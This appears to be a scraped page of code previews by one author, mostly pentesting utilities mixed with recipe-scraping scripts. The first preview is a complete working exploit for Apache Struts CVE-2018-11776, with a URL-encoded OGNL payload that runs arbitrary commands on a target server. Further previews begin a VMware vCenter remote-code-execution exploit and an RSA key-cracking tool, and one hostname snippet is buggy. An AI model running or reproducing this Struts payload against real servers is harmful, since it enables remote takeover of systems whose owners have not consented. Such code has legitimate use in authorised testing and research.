atucom

import requests
# Simple PoC for the Apache Struts vuln CVE-2018-11776
# this currently works on the struts showcase app but can easily be adapted to anything
# Thanks to https://github.com/jas502n/St2-057 for working OGNL statements :D (proper URL encoding REALLY matters)
# @atucom

def runCMD(command):
    target = 'http://192.168.235.181:8080/struts3-showcase/'
    payload = '%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27' + command + '%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action'
    return requests.get(target + payload).text

atucom

from lxml import html
import lxml
import os
from collections import defaultdict

def getIngredients(htmlFile):
    # Returns the ingredients from an html file
    try:
        tree = html.fromstring(htmlFile)
    except lxml.etree.ParserError:

atucom

#!/usr/bin/env python3
""" 
@atucom
This returns the files in the target directory that are
 statistical outliers in terms of file size
This is useful in the quest for finding target data.
"""
from __future__ import division
import argparse
import sys

atucom

#!/usr/bin/env python3
""" LOLDONGS Encoding
 This converts data into a series of ASCII dicks.
 Because with great power, comes great responsibility.
 """

import argparse
import sys

def encode(inputData):

atucom

#!/usr/bin/env python3
#pip3 install tldextract
#Hostnames listed one/line in supplied file
#@atucom
with open('ips.txt.ssl_and_dns.hostnames') as f:
    hostnames = f.readlines()
    for hostname in hostanmes:
        domain = tldextract.extract(hostname)
        print(domain.registered_domain)

atucom

#!/usr/bin/env python3
#pip3 install iptools
#converts 1.1.1.1-1.1.1.4 notation into individual IPs
#@atucom
import iptools
with open('ips.txt') as f:
    lines = f.readlines()
    for line in lines:
        if '-' in line:
            iprange = line.split('-')

atucom

#!/usr/bin/env python3
# Written by @Atucom
# This exploits the Vmware Vcenter Remote code execution vulnerability

import argparse
import sys
import logging
import requests

try:

atucom

The following are the top 100 ingredients as scraped from Homechef's website:
 178 Garlic Cloves
 154 Butter
 115 Shallot
 106 Boneless Skinless Chicken Breasts
  99 Green Onions
  88 Grape Tomatoes
  73 Lemon
  70 Liquid Egg
  65 Red Onion

atucom

#Written by John Mocuta (@atucom) with help from Jared McLaren (@jared_mclaren)
#This Burp Plugin allows the user to load many Raw IPs at once without Burp automatically
#adding regexes or modying them in any way.

#Import Burp Objects
from burp import IBurpExtender, IHttpListener, IBurpExtenderCallbacks, ITab

#Import Python Objects
import json

atucom

#!/usr/bin/env ruby
#convert a supplied public key to a private key
#This assumes a reasonably weak key length otherwise the loop will do math longer than you'll want to wait.
#@atucom
#you can test this with:
# openssl genrsa -out rsakey_56bit.priv 56
# openssl rsa -in rsakey_56bit.priv -out rsakey_56bit.pub -outform PEM -pubout
# echo '123456' | openssl rsautl  -encrypt -raw -pubin -inkey rsakey_56bit.pub > rsakey_56bit.123456.encrypted
# ruby pub2priv.rb rsakey_56bit.pub | tee pub2priv.generatedpriv
# openssl rsautl -decrypt -in rsakey_56bit.123456.encrypted -keyform PEM -inkey pub2priv.generatedpriv -raw | xxd